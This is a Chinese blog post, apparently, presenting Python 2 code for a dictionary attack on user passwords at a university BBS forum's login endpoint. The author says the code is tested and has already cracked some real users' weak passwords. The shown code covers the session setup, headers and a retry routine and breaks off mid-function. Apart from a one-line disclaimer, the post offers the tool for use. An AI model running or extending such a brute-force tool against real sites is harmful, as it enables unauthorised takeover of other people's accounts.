本文只是举一反三,用python演示一个思路,适用于不同的网站或者论坛。 请勿用于非法行为。
以下代码亲测有效,破解了一些用户的弱密码。当然破解的成功率和你的字典有关,越复杂的字典,成功率就越高,但是花费的时间也就越长。
# -*- coding: utf-8 -*-
__author__ = 'rocky'
#http://www.rcdisk.com/index.php/group/topic/id-4
# 破解211高校BBS论坛的用户密码
#来源:http://www.rcdisk.com
# 刃草网-记录你的自学
import cookielib, urllib, urllib2, re, time,sys
class BBS_sysu():
def __init__(self):
#构造urllib的数据头
self.login_url = "http://bbs.xxxx.edu.cn/login"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.headers = {'User-Agent': self.user_agent}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
self.pattern = re.compile(r'"success":"(d)"')
self.guess = False
self.ignore=False
def urlopen_try(self,req,times=5):
data=""
try:
result = self.opener.open(req)
data=result.read()
except Exception,what:
print what, req;
if times>0:
time.sleep(20)